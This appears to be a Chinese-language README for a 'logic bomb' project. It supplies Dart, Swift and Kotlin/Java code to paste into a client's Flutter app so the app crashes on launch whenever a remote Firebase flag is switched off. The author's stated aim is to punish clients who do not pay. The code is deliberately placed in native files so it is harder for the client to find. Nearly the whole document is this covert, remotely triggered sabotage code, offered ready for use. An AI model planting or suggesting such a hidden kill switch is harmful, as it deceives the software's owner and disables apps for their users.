逻辑炸弹
使用 Firebase 或 REST API 控制应用程序崩溃(Dart, Kotlin 和 Swift)。
你辛勤工作却没拿到报酬的次数有多少?
这段代码是为了保护我自己免受客户的侵害。客户可能会找你完成一个项目,当你将应用程序上传到商店后,他就会消失并且不付钱。
请勿滥用此代码。
对于任何滥用此代码的行为,本人概不负责。
代码是用
-
Dart
-
Swift
-
Kotlin
我用原生语言编写,这样如果客户拿到源代码,代码会更难被发现。
实现时间
Dart
在你的主文件中导入
import 'package:dio/dio.dart';
import 'dart:io';
在主文件中粘贴此函数
void plant() async {
try {
final result = await Dio().get('$HERE_IS_YOUR_FIREBASE_PROJECT_LINK/app.json');
final data = result.data;
if (Platform.isAndroid && !data['android']) {
throw Exception();
} else if (Platform.isIOS && !data['ios']) {
throw Exception();
}
} catch (_) {
exit(0);
}
}
在 main 函数中埋下你的炸弹
void main() {
plant();
runApp(MyApp());
}
Swift
iOS -> Runner -> AppDelegate.swift 然后粘贴此代码
import UIKit
import Flutter
@UIApplicationMain
@objc class AppDelegate: FlutterAppDelegate {
override func application(
_ application: UIApplication,
didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?
) -> Bool {
GeneratedPluginRegistrant.register(with: self)
plant()
return super.application(application, didFinishLaunchingWithOptions: launchOptions)
}
func plant() {
let api = "$HERE_IS_YOUR_FIREBASE_PROJECT_LINK/app.json"
let url = URL(string: api)!
do {
let data = try Data(contentsOf: url)
let json = try JSONSerialization.jsonObject(with: data) as! [String:Any]
if (json["ios"] as! Int == 0) {
fatalError()
}
} catch {
fatalError()
}
}
}
Android
在 Android -> app -> src -> main -> AndroidManifest.xml 中添加 Internet 权限
<uses-permission android:name="android.permission.INTERNET" />
然后转到 Android -> app -> src -> main -> kotlin,在 MainActivity 旁边创建一个名为 Bomb 的 JavaClass 并将此代码粘贴进去
package $HERE_IS_YOUR_APP_PACKAGE_NAME;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
public class Bomb {
void plant() throws IOException {
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
try {
URL url = new URL("$HERE_IS_YOUR_FIREBASE_PROJECT_LINK/app.json");
HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection();
urlConnection.setRequestMethod("GET");
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = in.readLine()) != null) {
sb.append(line);
}
in.close();
if (sb.toString().contains("\"android\":false")) {
throw new RuntimeException("");
}
} catch (Exception e) {
throw new RuntimeException("");
}
}
});
thread.start();
}
}
并在 MainActivity 文件中粘贴此代码
package $HERE_IS_YOUR_APP_PACKAGE_NAME
import io.flutter.embedding.android.FlutterActivity
import io.flutter.embedding.engine.FlutterEngine
class MainActivity: FlutterActivity() {
override fun configureFlutterEngine(flutterEngine: FlutterEngine) {
super.configureFlutterEngine(flutterEngine)
Bomb().plant()
}
}
Firebase 设置
要获取你的 Firebase 项目链接,请遵循这些截图,不要遗漏任何步骤,否则将不起作用。
1
2
3
4
5
6
7
8
示例
https://logic-bomb-896dd-default-rtdb.firebaseio.com/app.json







